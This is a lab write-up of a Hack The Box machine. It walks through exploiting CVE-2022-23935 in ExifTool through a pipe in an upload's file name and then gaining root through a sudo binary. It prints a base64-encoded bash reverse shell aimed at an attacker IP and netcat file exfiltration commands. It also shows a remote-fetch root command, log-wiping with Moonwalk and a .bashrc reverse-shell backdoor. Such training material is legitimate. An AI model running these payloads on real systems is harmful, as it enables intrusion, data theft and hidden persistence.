Engagement Flow
Tools used
Burpsuite
EVTX Parser by omerbenamram
WhatWeb
Netcat
SCP
Ghidra
Moonwalk
Tactics/Techniques
File upload abuse
CVE-2022-23935 - Pearl Version 12.38 Pipe Exploitation for RCE (Exiftool Binary)
Payload encoding - Base64 with padding to remove meta characters
Sensitive Data Exfiltration - Windows Event Logs extracted via netcat
Log Parsing - Windows Event Log Parsing with Grep
Reverse engineering - Suspicious binary
Covering our tracks - with Moonwalk
Persistence - bashrc backdoor one liner
Summary
1) Enumeration - Host
Port 22 - SSH
Port 80 - HTTP
2 ) Enumeration - Web Application
Website is hosting an online version of Exiftool
File upload function passes files to Exiftool for forensic analysis.
3) Vulnerability Identification
CVE-2022-23935 - Identified by pairing exiftool and pearl with version number
4) Exploitation - Weaponization
Testing for command injection with basic ping back command.
Final payload includes a bash reverse shell which is echoed and the shell encoded via Base64 to remove meta characters.
5) Exploitation - Delivery
File upload function is the delivery method and burpsuite is used to modify the file name to our malicious code, relying on a untrusted pipe in the file name for execution.
6) Initial foothold
User www-data with low level privileges upon successful RCE from previous step.
7) Horizontal Movement
Local enumeration
Discovery of log files
File extraction with netcat
Log review and credential extraction
SSH Access as User shmorton
8) Privilege Escalation
Enumeration
Sudo run as permissions to /usr/local/bin
Transfer binary to local machine with SCP
Reverse engineer with Ghidra
We learn that the binary is looking for specific arguments to perform a call back
Execute binary with specific arguments and test with local RCE
Execute binary on remote host with specific arguments for RCE and root
9 ) Post Exploitation
Covering our tracks with moonwalk
Persistence by adding a backdoor to the bash.rc file
Enumeration Host
Our surface area is small and simple. We will focus our efforts on the web application over port 80.
Image - Nmap Scan
Enumeration Web Application
Before looking at the website we can leverage the tool "whatwebb" which will gather valuable information about the application infrastructure. This can save considerable amounts of time and allow us to understand the underlying technologies of the web application.
In short our stack consist of the following:
Apache
Bootstrap
HTML5
Jquery
The detailed results can be viewed in the drop down below.
WhatWeb Results
WhatWeb report for http://eforenzics.htb/
Status : 200 OK
Title : eForenzics - Premier Digital Forensics
IP : 10.129.184.234
Country : RESERVED, ZZ
Summary : Apache[2.4.41], Bootstrap, HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], JQuery[3.4.1], Meta-Author[eForenzics], Script, UncommonHeaders[upgrade]
Detected Plugins:
[ Apache ]
The Apache HTTP Server Project is an effort to develop and
maintain an open-source HTTP server for modern operating
systems including UNIX and Windows NT. The goal of this
project is to provide a secure, efficient and extensible
server that provides HTTP services in sync with the current
HTTP standards.
Version : 2.4.41 (from HTTP Server Header)
Google Dorks: (3)
Website : http://httpd.apache.org/
[ Bootstrap ]
Bootstrap is an open source toolkit for developing with
HTML, CSS, and JS.
Website : https://getbootstrap.com/
[ HTML5 ]
HTML version 5, detected by the doctype declaration
[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.
OS : Ubuntu Linux
String : Apache/2.4.41 (Ubuntu) (from server string)
[ JQuery ]
A fast, concise, JavaScript that simplifies how to traverse
HTML documents, handle events, perform animations, and add
AJAX.
Version : 3.4.1
Website : http://jquery.com/
[ Meta-Author ]
This plugin retrieves the author name from the meta name
tag - info:
http://www.webmarketingnow.com/tips/meta-tags-uncovered.html
String : eForenzics
[ Script ]
This plugin detects instances of script HTML elements and
returns the script language/type.
[ UncommonHeaders ]
Uncommon HTTP server headers. The blacklist includes all
the standard headers and many non standard but common ones.
Interesting but fairly common headers should have their own
plugins, eg. x-powered-by, server and x-aspnet-version.
Info about headers can be found at www.http-stats.com
String : upgrade (from headers)
HTTP Headers:
HTTP/1.1 200 OK
Date: Sun, 14 May 2023 19:12:38 GMT
Server: Apache/2.4.41 (Ubuntu)
Upgrade: h2
Connection: Upgrade, close
Last-Modified: Sat, 01 Oct 2022 00:31:36 GMT
ETag: "2acd-5e9ee3baeb4fd-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 2457
Content-Type: text/html
Below is the landing page we receive when browsing to our target over http.
Image - Landing page for forenzics.htb
After crawling our target website we find that there is a file upload function on the eforenzics.htb website. This was the only interactive function found. We can safely assume this is our surface and target for exploitation. We also observe on the left that the function is represented as "Image Forensics" to receive a detailed forensic analysis in the JPG format.
Image - File upload function
Upon uploading a file to the website, of a .jpg format we are provided with a report.
Image - File upload response
Viewing the report shows us the following output. What we see is simple, the standard output of "ExifTool", a file forensics tool.
Image - Detailed analysis report after uploading a file
Vulnerability identification
In this stage we are able to quickly ascertain a valid vulnerability by researching "Exiftool 12.37 vulnerabilities" We will learn about the below CVE which is also nick named "Peral Jam" from a talk given at the BlackHat conference approximately 8 years ago. Because ExifTool uses the pearl programming language, we can proceed forwards with a high degree of confidence, knowing this vulnerability matches the version seen, and the programming language used.
The CVE scoring can be viewed below, and the specific code that was responsible for the vulnerability can be viewed below the CVE scoring.
CVE-2022-23935
https://github.com/exiftool/exiftool/commit/74dbab1d2766d6422bb05b033ac6634bf8d1f582
Image - CVE scoring
Having a look at the code which can be viewed in the link above, reveals the specifics about this vulnerability. We can initially see that on line 4092 the $mode variable defaults to read mode unless the input is a pipe. Below this, the code in green is the appended code that the developer leveraged to patch this vulnerability. We can see the developer has added a structure to determine if the pipe comes from a trusted command or its intended use.
Image - Vulnerable code and the security patch
We can see again the Trusted Pipe is now used to sanitize the pipe commands when the file upload function receives and proceeds to parse the file.
Image - Sanitizing the pipe argument with a trusted pipe function.
Vulnerability - testing and confirmation
In order to confirm if we are on the right track it is important to verify the validity of exploitation. We can do this with a basic payload such as a ping back command to confirm if we can execute commands on the target machine, through the webapplication via filenames ending with a PIPE.
We will download a .jpg file and name the file "Ping 10.10.14.20 |"
Image - Malicious file upload
Upon uploading our file, we establish a listener with tcpdump listening on our VPN interface and in-particular for ICMP traffic. This acts as evidence and confirmation of exploitation.
Image - Ping back from our malicious file
Exploitation - Weaponization
In this phase, we will move forwards by custom crafting our payload. This phase was time intensive, as the web application does not accept meta or illegal characters such as ": ; / \ ( ) { } ".
I was able to ascertain this, after trying approximately a dozen payloads, including python, tcp, perl and bash reverse shells. What would happen, is the file upload would hang with every reverse shell payload. So I attempted to pass a ping back command, which we have verified as working in the previous phase. By adding those illegal/meta characters to the ping back command, it did not work.
This is where things get tricky and we will have to re-write our payload and encode our reverse shell. We will be encoding in base64 as this is a native library included on all unix systems. The challenge however, is that base64 produces an illegal character '='. We will address this by padding our payload with white space to remove the equals sign.
We will then have to expand our payload to include the commands to decode base 64 on the target machine, so we will use burpsuite for this, as we can't create a file names with multiple quotes, as this will be a multi command payload.
We generate our base 64 encoded payload, but we have to remove the = character. We can accomplish this by padding white space as seen below.
└─$ echo "bash -i >& /dev/tcp/10.10.14.20/6363 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMC82MzYzICAwPiYxCg==
This difference is so subtle with white space after the port and before the STANDOUT.
└─$ echo "bash -i >& /dev/tcp/10.10.14.20/6363 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMC82MzYzICAgIDA+JjEK
We now take the base64 encoded payload with the meta characters eliminated via padding.
We construct the payload to include an initial echo statement for the remote command line to enter the string into memory, we can base64 -d to decode the encoded payload, and we pipe it into bash finally to execute.
"echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMC82MzYzICAgIDA+JjEK' | base64 -d | bash |"
Exploitation - Delivery
In this phase we must deliver our payload to the target machine.
We will take our payload above and pass it to the target server by leveraging burp suite to append the file name. We cannot create a file with the full name of our command. At least I couldn't figure it out, as the double quotes and pipes seemed to be competing with one another.
Image - Custom payload injected to the filename via burp
Initial foothold as user www-data
With a custom crafted payload, and a means of delivery we are able to gain a remote shell as user www-data We simply spin up a listener and send our custom crafted payload, via burp suite to the servers file upload function and we receive a reverse shell as user www-data as seen below.
Image - Listener catching and opening our reverse shell
Horizontal Movement
Enumeration
As user www-data we have limited permissions. We will have to move horizontally in order to find a path to root. Some basic enumeration shows an out of place file that has several windows event logs contained inside.
www-data@investigation:/usr/local/investigation$ ls
Windows Event Logs for Analysis.msg
analysed_log
File extraction
We will need to exfiltrate these logs to our local system for further analysis. We can conduct a file transfer to our host machine with the netcat command as long as it is present on the target machine.
On the receiving end running,
nc -l -p 4444 > out.file
will begin listening on port 4444.
On the sending end run the following.
nc -w 3 10.10.14.20 4444 < 'Windows Event Logs for Analysis.msg'
This will connect to the receiver and begin sending file.
Analyzing the logs reveals we have a Microsoft Outlook Message. Just incase there is an attachment here, or perhaps an embedded Macro, I will utilize binwalk to check for any packed files or binaries. If they are found, we can extract them using binwalk with the "-e" flag.
└─$ file out.file
out.file: CDFV2 Microsoft Outlook Message
Utilizing the binwalk binary we are able to confirm there is indeed compressed data associated with this Microsoft Outlook Message.
└─$ binwalk out.file
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
29696 0x7400 Zip archive data, at least v2.0 to extract, compressed size: 1276467, uncompressed size: 15798272, name: security.evtx
1306265 0x13EE99 End of Zip archive, footer length: 22
1307800 0x13F498 LZMA compressed data, properties: 0xC0, dictionary size: 0 bytes, uncompressed size: 4587520 bytes
Viewing the extracted data below, we find a windows log file.
┌──(kali㉿kali)-[~/HTB/investigation/_out.file.extracted]
└─$ ls
13F498.7z 7400.zip security.evtx
┌──(kali㉿kali)-[~/HTB/investigation/_out.file.extracted]
└─$ file security.evtx
security.evtx: MS Windows Vista Event Log, 238 chunks (no. 237 in use), next record no. 20013
Here we leverage a evtx log parser by omerben, in particular the gnu executable.
./evtx_dump-v0.8.1-x86_64-unknown-linux-gnu _out.file.extracted/security.evtx > parsedfile
Looking through the file revealed there was a list of user names assigned to a variable "TargetUsername". We first need to gather all lines of data that have that string inside of them. We accomplish this with "cat file | Grep TargetUsername" > namelist.
From here we have tons of duplicate entries, so I have to sort this list and output only unique entries which is accomplished with "sort filename --unique > parsednamelist.
sort usernamelist --unique. There is a password in the file below that allows us to SSH onto the machine. If we look at available users on the compromised host via "cat /etc/passwd" there are several so we will try them all with the below password.
<Data Name="TargetUserName">aanderson</Data>
<Data Name="TargetUserName">AAnderson</Data>
<Data Name="TargetUserName">Administrator</Data>
<Data Name="TargetUserName">Administrators</Data>
<Data Name="TargetUserName">AWright</Data>
<Data Name="TargetUserName">Backup Operators</Data>
<Data Name="TargetUserName">BMay</Data>
<Data Name="TargetUserName">-</Data>
<Data Name="TargetUserName">DefaultAccount</Data>
<Data Name="TargetUserName">Def@ultf0r3nz!csPa$$</Data>
<Data Name="TargetUserName">EFORENZICS-DI$</Data>
<Data Name="TargetUserName">EKora</Data>
<Data Name="TargetUserName">Guest</Data>
<Data Name="TargetUserName">hmarley</Data>
<Data Name="TargetUserName">HMarley</Data>
<Data Name="TargetUserName">hmraley</Data>
<Data Name="TargetUserName">IPerez</Data>
<Data Name="TargetUserName">JClark</Data>
<Data Name="TargetUserName">KTyson</Data>
<Data Name="TargetUserName">ljenkins</Data>
<Data Name="TargetUserName">LJenkins</Data>
<Data Name="TargetUserName">lmonroe</Data>
<Data Name="TargetUserName">LMonroe</Data>
<Data Name="TargetUserName">LOCAL SERVICE</Data>
<Data Name="TargetUserName">smorton</Data>
<Data Name="TargetUserName">SMorton</Data>
<Data Name="TargetUserName">SYSTEM</Data>
<Data Name="TargetUserName">WDAGUtilityAccount</Data>
The password works with user smorton and we are in with intermediate level permissions.
Image - access as user smorten
Privilege Escalation to root
In this phase our enumeration is minimal and user smorton has sudo permissions to run a binary literally called binary.
smorton@investigation:~$ sudo -l
User smorton may run the following commands on investigation:
(root) NOPASSWD: /usr/bin/binary
We will need to transfer this binary to our local machine to reverse engineer and and learn about the binary. We can accomplish this with SCP.
scp smorton@eforenzics.htb:/usr/bin/binary .
With the binary on our system we can reverse engineer it with Ghidra to learn more about it.
Here is the main function as seen in Ghidra.
undefined8 main(int param_1,long param_2)
{
__uid_t _Var1;
int iVar2;
FILE *__stream;
undefined8 uVar3;
char *__s;
char *__s_00;
if (param_1 != 3) {
puts("Exiting... ");
/* WARNING: Subroutine does not return */
exit(0);
}
_Var1 = getuid();
if (_Var1 != 0) {
puts("Exiting... ");
/* WARNING: Subroutine does not return */
exit(0);
}
iVar2 = strcmp(*(char **)(param_2 + 0x10),"lDnxUysaQn");
if (iVar2 != 0) {
puts("Exiting... ");
/* WARNING: Subroutine does not return */
exit(0);
}
puts("Running... ");
__stream = fopen(*(char **)(param_2 + 0x10),"wb");
uVar3 = curl_easy_init();
curl_easy_setopt(uVar3,0x2712,*(undefined8 *)(param_2 + 8));
curl_easy_setopt(uVar3,0x2711,__stream);
curl_easy_setopt(uVar3,0x2d,1);
iVar2 = curl_easy_perform(uVar3);
if (iVar2 == 0) {
iVar2 = snprintf((char *)0x0,0,"%s",*(undefined8 *)(param_2 + 0x10));
__s = (char *)malloc((long)iVar2 + 1);
snprintf(__s,(long)iVar2 + 1,"%s",*(undefined8 *)(param_2 + 0x10));
iVar2 = snprintf((char *)0x0,0,"perl ./%s",__s);
__s_00 = (char *)malloc((long)iVar2 + 1);
snprintf(__s_00,(long)iVar2 + 1,"perl ./%s",__s);
fclose(__stream);
curl_easy_cleanup(uVar3);
setuid(0);
system(__s_00);
system("rm -f ./lDnxUysaQn");
return 0;
}
puts("Exiting... ");
/* WARNING: Subroutine does not return */
exit(0);
}
The code provided appears to be a C function named main that takes two parameters: an integer param_1 and a long integer param_2. Let's go through the code step by step:
1. Checking the number of command-line arguments:
if (param_1 != 3) {
puts("Exiting... ");
exit(0);
}
This code block checks if the value of param_1 is not equal to 3. If it is not equal, it prints "Exiting..." and terminates the program using exit(0).
2. Checking the user ID:
_Var1 = getuid();
if (_Var1 != 0) {
puts("Exiting... ");
exit(0); }
This block uses the getuid() function to retrieve the user ID. It checks if the user ID is not equal to 0 (which typically represents the root user). If it's not equal to 0, it prints "Exiting..." and terminates the program.
3. Comparing a string:
iVar2 = strcmp(*(char **)(param_2 + 0x10), "lDnxUysaQn");
if (iVar2 != 0) {
puts("Exiting... ");
exit(0); }
This block compares the string located at the memory address *(char **)(param_2 + 0x10) with the string literal "lDnxUysaQn" using the strcmp() function. If the strings are not equal, it prints "Exiting..." and terminates the program.
4. File operations and network request
__stream = fopen(*(char **)(param_2 + 0x10), "wb");
uVar3 = curl_easy_init();
curl_easy_setopt(uVar3, 0x2712, *(undefined8 *)(param_2 + 8));
curl_easy_setopt(uVar3, 0x2711, __stream);
curl_easy_setopt(uVar3, 0x2d, 1);
iVar2 = curl_easy_perform(uVar3);
This section opens a file specified by the string at the memory address *(char **)(param_2 + 0x10) in write binary mode using fopen(). Then, it initializes a curl easy handle (uVar3) using curl_easy_init(). Several options are set using curl_easy_setopt(), including the URL (*(undefined8 *)(param_2 + 8)), the output file (__stream), and the option with code 0x2d set to 1. Finally, it performs the curl request using curl_easy_perform() and stores the result in iVar2.
5. Handling the result and executing system commands:
if (iVar2 == 0) {
// Snippet 1
}
else {
exit
}
If the value of iVar2 is equal to 0, it means the curl request was successful. In this case, it executes the code in "Snippet 1". Otherwise, it exits
Snippet 1:
iVar2 = snprintf((char *)0x0,0,"%s",*(undefined8 *)(param_2 + 0x10));
__s = (char *)malloc((long)iVar2 + 1);
snprintf(__s,(long)iVar2 + 1,"%s",*(undefined8 *)(param_2 + 0x10));
iVar2 = snprintf((char *)0x0,0,"perl ./%s",__s);
__s_00 = (char *)malloc((long)iVar2 + 1);
snprintf(__s_00,(long)iVar2 + 1,"perl ./%s",__s);
fclose(__stream);
curl_easy_cleanup(uVar3);
setuid(0);
system(__s_00);
system("rm -f ./lDnxUysaQn");
return 0;
This snippet performs the following steps: - It calculates the length of the string at the memory address `*(undefined8 *)(param_2 + 0x10)` using `snprintf()`. - It allocates memory for a newstring`__s`with a size of`iVar2 + 1`. - It copies the content of the string at the memory address `*(undefined8 *)(param_2 + 0x10)` to the string`__s`. - It calculates the length of a formatted string using `snprintf()`. - It allocates memory for a newstring`__s_00`with a size of`iVar2 + 1`. - It copies the formatted string`"perl ./%s"`with`__s`as the argument to `__s_00`. - It closes the file `__stream`. - It cleans up the curl easy handle `uVar3`. - It sets the user ID to 0 using `setuid(0)`. - It executes the system command stored in`__s_00`. - It executes the system command `"rm -f ./lDnxUysaQn"`. - Finally, it returns 0.
The final block of code seems like obfuscation with fluff operations to slow down the time it takes for a security analyst to grasp the logic flow. With this being said, our 3 arguments are the following.
Binary execution
Curl string
Random compare string
Our final command to achieve root looks like:
sudo binary 10.10.14.20/reverse.pl lDnxUysaQn
The binary then makes a curl request to our machine where we have a python3 simple server hosting the reverse.pl script (Not a one liner) and reverse shell, then accepts the key, and executes in pearl giving us a reverse connection.
Post Exploitation
Covering our tracks with Moonwalk
Moonwalk is a 400 KB single-binary executable that can be used to clear traces during Linux Exploitation/Penetration Testing by leaving zero traces on system logs and filesystem timestamps. It saves the state of system logs pre-exploitation and reverts that state, including the filesystem timestamps post-exploitation, leaving zero traces of a ghost in the shell.01 Moonwalk is not to be confused with Spacewalk, an open-source Linux systems management solution that is the upstream community project from which the Red Hat Satellite product is derived.
Persistence
When a user logs into a system, their login shell, often Bash (/bin/bash), reads and executes the .bashrc file located in their home directory. Attackers can leverage this behavior to add a reverse shell or execute remote scripts.
Understanding the .bashrc file: The .bashrc file contains configuration settings and customizations for an individual user's Bash shell. It is executed each time the user opens an interactive shell session, such as logging in via SSH or opening a terminal.
Identifying the target user: We need to identify the target user whose .bashrc file they want to modify. This typically requires prior knowledge of which users regularly log into the compromised machine.
Adding a reverse shell: A reverse shell allows us to establish a connection from the compromised system to their own system, providing them with interactive command execution on the compromised machine. Attackers can add a reverse shell one-liner to the target user's .bashrc file. This way, each time the user logs in, the reverse shell connects back to the attacker's machine.
Executing remote scripts: Alternatively, instead of a reverse shell, attackers can modify the .bashrc file to execute remote scripts. This can be achieved using curl or other similar tools to download and execute a script from a remote server. By embedding this command in the .bashrc file, the script will be executed every time the user opens an interactive shell session.
Maintaining persistence: By modifying the .bashrc file, the attacker ensures that their malicious code executes every time the user logs in. This allows the attacker to regain access to the compromised system repeatedly without raising suspicion.
THE END
Comments